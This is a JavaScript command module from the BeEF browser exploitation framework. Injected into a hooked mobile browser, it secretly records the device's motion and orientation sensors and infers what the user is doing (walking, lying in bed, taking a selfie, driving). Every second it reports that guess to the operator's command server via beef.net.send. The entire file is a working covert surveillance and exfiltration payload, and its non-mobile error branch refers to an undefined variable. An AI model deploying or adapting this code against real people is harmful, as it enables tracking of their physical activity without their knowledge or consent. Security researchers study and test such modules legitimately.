123 lines
4.6 KiB
JavaScript
123 lines
4.6 KiB
JavaScript
//
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// Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
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// Browser Exploitation Framework (BeEF) - http://beefproject.com
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// See the file 'doc/COPYING' for copying permission
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//
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beef.execute(function() {
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var status = 'loading';
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var update_interval = 1000;
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if (!beef.hardware.isMobileDevice()) {
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beef.debug(result);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, 'fail=' + result, beef.are.status_error());
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}
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var historicMotion = {
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"x": [],
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"y": [],
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"z": []
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}
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var historicOrientation = {
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"x": [],
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"y": [],
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"z": []
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}
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function setStatus(new_status) {
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if (status == new_status) return; // status hasn't changed
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status = new_status;
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beef.debug(new_status);
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beef.net.send("<%= @command_url %>", <%= @command_id %>, 'result=' + new_status, beef.are.status_success());
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}
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function updateStatus() {
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var movement = mostRecentMovementOverall(75)
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lastHistoricOrientationX = historicOrientation["x"][historicOrientation["x"].length - 1];
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lastHistoricOrientationY = historicOrientation["y"][historicOrientation["y"].length - 1];
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lastHistoricOrientationZ = historicOrientation["z"][historicOrientation["z"].length - 1];
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// Below some stupid, very basic code to guess what the user is doing
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// As described in the README, this is just a proof of concept
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if (mostRecentMovementOverall(4000) > 40) { // TODO: haven't tested this, 1,000 so it's a longer time
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setStatus("driving or other form of transportation")
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} else if (lastHistoricOrientationZ > 70 || lastHistoricOrientationZ < -70) {
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setStatus("lying in bed sideways, or taking a landscape picture")
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} else if (lastHistoricOrientationY > 160 || lastHistoricOrientationY < -160) {
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setStatus("lying on your back, with your phone up")
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} else if (lastHistoricOrientationY >= 30 && lastHistoricOrientationY < 70) {
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if (movement > 18) {
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setStatus("using your phone while walking")
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} else {
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setStatus("using your phone, sitting or standing")
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}
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} else if (lastHistoricOrientationY >= 70 && lastHistoricOrientationY < 95) {
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if (movement > 18) {
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setStatus("using your phone while walking")
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} else {
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setStatus("taking a picture")
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}
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} else if (lastHistoricOrientationY >= 95 && lastHistoricOrientationY < 120) {
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setStatus("taking a selfie")
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} else if (Math.round(lastHistoricOrientationZ) == 0 && Math.round(lastHistoricOrientationY) == 0) {
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setStatus("using the phone on a table")
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} else {
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if (movement > 18) {
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setStatus("using your phone while walking")
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} else {
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setStatus("using your phone, sitting or standing")
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}
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}
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}
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function mostRecentMovementOverall(numberOfHistoricPoints) {
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return (mostRecentMovement(historicMotion["x"], numberOfHistoricPoints, true) +
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mostRecentMovement(historicMotion["y"], numberOfHistoricPoints, true) +
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mostRecentMovement(historicMotion["z"], numberOfHistoricPoints, true)) / 3.0
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}
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// numberOfHistoricPoints: 100 is about 3 seconds
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function mostRecentMovement(array, numberOfHistoricPoints, removeNegatives) {
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if (array.length > numberOfHistoricPoints) {
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totalSum = 0
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for (var toCount = 0; toCount < numberOfHistoricPoints; toCount++) {
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currentElement = array[array.length - toCount - 1]
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currentElement *= (1 - toCount / numberOfHistoricPoints) // weight the most recent data more
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if (currentElement < 0 && removeNegatives) currentElement = currentElement * -1
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if (currentElement > 0.1 || currentElement < -0.1) totalSum += currentElement
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}
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return totalSum * 100 / numberOfHistoricPoints
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}
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return 0 // not enough data yet
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}
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window.addEventListener("devicemotion", motion, false);
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function motion(event) {
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//motionX = (mostRecentMovement(historicMotion["x"], 150, false)).toFixed(2)
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//motionY = (mostRecentMovement(historicMotion["y"], 150, false)).toFixed(2)
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//motionZ = (mostRecentMovement(historicMotion["z"], 150, false)).toFixed(2)
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historicMotion["x"].push(event.acceleration.x)
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historicMotion["y"].push(event.acceleration.y)
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historicMotion["z"].push(event.acceleration.z)
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}
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window.addEventListener("deviceorientation", orientation, false);
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function orientation(event) {
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//orientationX = Math.round(event.alpha)
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//orientationY = Math.round(event.beta)
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//orientationZ = Math.round(event.gamma)
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historicOrientation["x"].push(event.alpha)
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historicOrientation["y"].push(event.beta)
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historicOrientation["z"].push(event.gamma)
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}
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setInterval(updateStatus, update_interval)
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});
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